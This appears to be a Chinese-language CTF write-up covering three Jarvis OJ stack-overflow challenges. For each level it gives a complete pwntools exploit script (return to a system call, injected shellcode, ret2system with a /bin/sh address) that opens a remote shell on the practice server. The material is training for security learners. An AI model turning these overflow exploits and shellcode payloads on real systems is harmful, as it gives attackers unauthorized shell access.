先附上一段大佬的总结,接着再说题。
栈溢出的基本套路:
- 找到栈溢出地址(就是搞事情的地址),基本上都是buf的地址,这个地址需要用pwntools中的p32或p64进行转换,(若程序是32位的就用p32)才能用pwntools中的sendline发送到远程连接
- 构建shellcode,用一句话就行shellcode = asm(shellcraft.sh())
- 构建payload,payload的基本构建:payload=shellcode+’a’*一个长度+p32(buf_addr),次序一定不能乱
- 最后就可以发送payload,进行交互,得到shell的控制权,然后ls ,cat flag
level0
使用checksec命令查看出来是64位程序,所有保护全部关闭。
然后使用ida打开
查看一下主函数部分,双击查看vulnerable_function()里的函数,
开辟的缓存区只有0x80个字节大小,但是read最多可以读取0x200个字节,这样就会造成缓存区溢出。
找到函数callsystem()
只要控制程序返回到callsystem地址即可。找到callsystem地址。
level0脚本
from pwn import * #导入pwntools中pwn包的所有内容
s_addr=0x0000000000400596
p=remote("pwn2.jarvisoj.com",9881)# 链接服务器远程交互,等同于nc ip 端口 命令from pwn import *
p.recvline()#接收输出
p.sendline("A"*0x80+'A'*8+p64(s_addr))# 发送payload
p.interactive()# 反弹shell进行交互
这个题有一个函数callsystem,直接返回一个system(”/bin/sh”)也就是返回一个命令框,这就是我们想要的,所以不用构建shellcode和paload了。
最后在Ubuntu里运行一下。查看flag
level1
使用checksec命令查看出来是32位程序。
然后使用ida打开
查看一下主函数部分,双击查看vulnerable_function()里的函数。
根据上一题可以看出这一题也有溢出。
附上脚本
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode = asm(shellcraft.sh())
io = remote('pwn2.jarvisoj.com', 9877)
text = io.recvline()[14: -2]
buf_addr = int(text, 16)
payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()
context(arch = 'i386', os = 'linux')
是用来设置目标机的信息
- os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
- arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
- log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。
shellcode = asm(shellcraft.sh())
获取shellcode
1)获得执行system(“/bin/sh”)汇编代码所对应的机器码
asm(shellcraft.sh())
[14:-2]只是python里面的一个切片,代表”What’ sthis:0xffee6c50?”刚好取ffee6c50
这里的text为buf的地址,只不过是字符型的,需要int(text,16)用16进制的方法转化为int型
运行以后得到flag
level2
使用checksec命令查看出来是32位程序。
然后使用ida打开
查看一下主函数部分,双击查看vulnerable_function()里的函数。
按图片所示打开string窗口
然后看到
看到/bin/sh
双击得到地址:
在system中看到
附上脚本
from pwn import *
sh = remote('pwn2.jarvisoj.com', 9878)
padd = 'a'*(0x88+4)
system_ad = p32(0x08048320)
bin_sh = p32(0x804a024)
payload = padd+system_ad+'a'*4+bin_sh
sh.sendline(payload)
sh.interactive()
在Ubuntu运行一下找出flag
如果想要了解更多pwntools的使用可以参考一下这篇博客
https://blog.csdn.net/qq_29343201/article/details/51337025